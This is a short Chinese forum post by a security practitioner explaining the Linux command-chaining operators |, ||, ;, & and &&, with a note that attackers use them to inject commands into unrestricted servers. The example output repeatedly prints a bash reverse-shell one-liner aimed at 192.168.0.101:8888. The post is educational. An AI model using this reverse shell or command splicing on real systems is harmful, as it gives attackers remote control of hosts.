Linux多命令顺序执行符号需要记住5个 【|
】【||
】【 ;
】 【&
】 【&&
】 ,在命令执行里面,如果服务器疏忽大意没做限制,黑客通过高命令拼接符,可以输入很多非法的操作。
ailx10
网络安全优秀回答者
互联网行业 安全攻防员
去知乎咨询
【|
】管道符,前面的输出,作为后面的输入,前面后面出错,语句都会出错
pwd | cat index.html
bash -i >& /dev/tcp/192.168.0.101/8888 0>&1
【||
】前面的执行成功,后面的不会程序,前面的执行失败,后面的会执行
pwd || cat index.html
/Users/ailx10
【 ;
】分号,前后没有任何逻辑关系,不管是否正确,都会一直执行下去
pwd ; cat index.html
/Users/ailx10
bash -i >& /dev/tcp/192.168.0.101/8888 0>&1
【&
】前面在后台跑,然后执行后面的程序
pwd & cat index.html
[1] 20284
/Users/ailx10
[1] + done pwd
bash -i >& /dev/tcp/192.168.0.101/8888 0>&1
【&&
】前面的执行成功,才会执行后面的,前面的执行不成功,后面的不会执行
pwd && cat index.html
/Users/ailx10
bash -i >& /dev/tcp/192.168.0.101/8888 0>&1
举个例子,在Mac/Linux 系统中,我不知道哪个端口在对外提供服务,我该如何找到它?那么就可以使用管道符【|
】,将左边的查询结果,传递给右边的筛选命令,最后输出我们想要的结果。 这里很轻松的发现我的Mac电脑开启了一个Web服务,端口是7777,并且是Python程序起的服务。
sudo lsof -i -P | grep LISTEN
已开启送礼物